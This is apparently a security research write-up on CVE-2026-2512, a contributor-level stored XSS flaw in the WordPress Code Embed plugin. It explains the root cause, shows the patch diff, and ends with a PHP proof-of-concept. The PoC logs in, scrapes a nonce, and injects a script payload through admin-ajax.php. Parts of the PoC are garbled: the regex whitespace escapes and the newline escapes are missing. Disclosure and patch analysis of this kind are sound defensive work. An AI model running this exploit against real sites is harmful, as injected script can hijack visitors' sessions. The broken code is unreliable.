Atomic Edge analysis of CVE-2026-2512:
The vulnerability exists because the Code Embed plugin’s sanitization function `sec_check_post_fields()` only executes on the `save_post` hook. WordPress provides an alternative method for adding custom fields via the `wp_ajax_add_meta` AJAX endpoint, which bypasses the `save_post` hook entirely. This endpoint is accessible to authenticated users with Contributor-level permissions or higher. When a malicious user submits a custom field with the plugin’s keyword prefix (e.g., `%code%`) containing JavaScript payloads via the AJAX endpoint, the plugin’s `ce_filter()` function later outputs the unsanitized meta value directly into page content without escaping. The root cause is the incomplete coverage of metadata write operations by the original security function.
The exploitation method requires an authenticated attacker with at least Contributor privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `add-meta`. The request must include `_ajax_nonce` (obtained from the post edit screen), `post_id`, `meta_key` (prefixed with the plugin’s keyword identifier, default `%code%`), and `meta_value` containing the XSS payload. The payload executes when any user views the post where the malicious custom field is embedded.
The patch replaces the `save_post` hook with filters on `update_post_metadata` and `add_post_metadata`. The new function `sec_sanitize_meta_on_write()` intercepts all metadata writes, including those via AJAX and REST API. It applies `wp_kses_post()` sanitization to any meta key matching the plugin’s prefix for users without `unfiltered_html` capability. The function temporarily removes itself to avoid recursion, writes the sanitized value, then re-adds the filter. This ensures all write paths are covered.
Successful exploitation allows stored XSS attacks. Attackers can inject arbitrary JavaScript that executes in the context of any user viewing the compromised post. This can lead to session hijacking, administrative actions performed by victims, or defacement.
--- a/simple-embed-code/includes/secure.php
+++ b/simple-embed-code/includes/secure.php
@@ -1,8 +1,8 @@
<?php
/**
- * Meta boxes
+ * Security
*
- * Functions related to meta-box management.
+ * Functions related to sanitizing Code Embed meta values.
*
* @package simple-embed-code
*/
@@ -14,42 +14,58 @@
}
/**
- * Remove Custom Fields
+ * Sanitize Code Embed meta on every write
*
- * Remove the custom field meta boxes if the user doesn't have the unfiltered HTML permissions.
+ * Filter that fires on every call to update_metadata / add_metadata — including the
+ * wp_ajax_add_meta AJAX handler and the REST API, not just save_post.
*
- * @param string $post_id Post ID.
- * @param string $post Post object.
- * @param boolean $update Whether this is an existing post being updated.
+ * @param mixed $check Null to allow the operation, non-null to short-circuit.
+ * @param int $object_id Post ID.
+ * @param string $meta_key Meta key being written.
+ * @param mixed $meta_value Meta value being written.
+ * @return mixed Null (to proceed with the write).
*/
-function sec_check_post_fields( $post_id, $post, $update ) {
+function sec_sanitize_meta_on_write( $check, $object_id, $meta_key, $meta_value ) {
+
+ // Allow admins / editors with unfiltered_html to write without restriction.
+ if ( current_user_can( 'unfiltered_html' ) ) {
+ return $check;
+ }
$options = get_option( 'artiss_code_embed' );
- // Check if it's an autosave or if the current user has the 'unfiltered_html' capability.
- if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || ( current_user_can( 'unfiltered_html' ) ) ) {
- return;
+ if ( ! is_array( $options ) || empty( $options['keyword_ident'] ) ) {
+ return $check;
}
- // Fetch all post meta (custom fields) associated with the post.
- $custom_fields = get_post_meta( $post_id );
+ $prefix = $options['keyword_ident'];
- // If there are custom fields, read through them.
- if ( ! empty( $custom_fields ) ) {
+ // Only act on meta keys that belong to this plugin.
+ if ( substr( $meta_key, 0, strlen( $prefix ) ) !== $prefix ) {
+ return $check;
+ }
- foreach ( $custom_fields as $key => $value ) {
+ // Strip dangerous markup while preserving safe HTML.
+ $clean = wp_kses_post( $meta_value );
- // Check to see if any begining with this plugin's prefix.
- if ( substr( $key, 0, strlen( $options['keyword_ident'] ) ) === $options['keyword_ident'] ) {
+ if ( $clean === $meta_value ) {
+ // Value is already clean — let the normal write proceed.
+ return $check;
+ }
- // Filter the meta value.
- $new_value = wp_kses_post( $value[0] );
+ // The value was dirty. Remove this filter temporarily to avoid infinite recursion, write the sanitized value ourselves, then
+ // re-add the filter and short-circuit the original write.
+ remove_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10 );
+ remove_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10 );
- // Now write out the new value.
- update_post_meta( $post_id, $key, $new_value );
- }
- }
- }
+ update_post_meta( $object_id, $meta_key, $clean );
+
+ add_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+ add_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+
+ // Return a non-null value to short-circuit the original (unsanitized) write.
+ return true;
}
-add_action( 'save_post', 'sec_check_post_fields', 10, 3 );
+add_filter( 'update_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
+add_filter( 'add_post_metadata', 'sec_sanitize_meta_on_write', 10, 4 );
--- a/simple-embed-code/simple-code-embed.php
+++ b/simple-embed-code/simple-code-embed.php
@@ -9,7 +9,7 @@
* Plugin Name: Code Embed
* Plugin URI: https://wordpress.org/plugins/simple-embed-code/
* Description: Code Embed provides a very easy and efficient way to embed code (JavaScript and HTML) in your posts and pages.
- * Version: 2.5.1
+ * Version: 2.5.2
* Requires at least: 4.6
* Requires PHP: 7.4
* Author: David Artiss
@@ -26,7 +26,7 @@
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
-define( 'CODE_EMBED_VERSION', '2.5.1' );
+define( 'CODE_EMBED_VERSION', '2.5.2' );
// Define global to hold the plugin base file name.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2512 - Code Embed <= 2.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Fields
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'contributor';
$password = 'password';
$post_id = 123; // Target post ID
$payload = '<script>alert(document.domain)</script>';
$keyword_prefix = '%code%'; // Default plugin prefix
// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
curl_exec($ch);
// Step 2: Get nonce from post edit screen
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit',
CURLOPT_POST => false,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
preg_match('/"add-meta"s*:s*"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Exploit via wp_ajax_add_meta endpoint
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'add-meta',
'_ajax_nonce' => $nonce,
'post_id' => $post_id,
'meta_key' => $keyword_prefix . '_xss',
'meta_value' => $payload
]),
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_RETURNTRANSFER => true
]);
$result = curl_exec($ch);
curl_close($ch);
echo ($result && strpos($result, '"success"') !== false) ? "Payload injected successfullyn" : "Injection failedn";
?>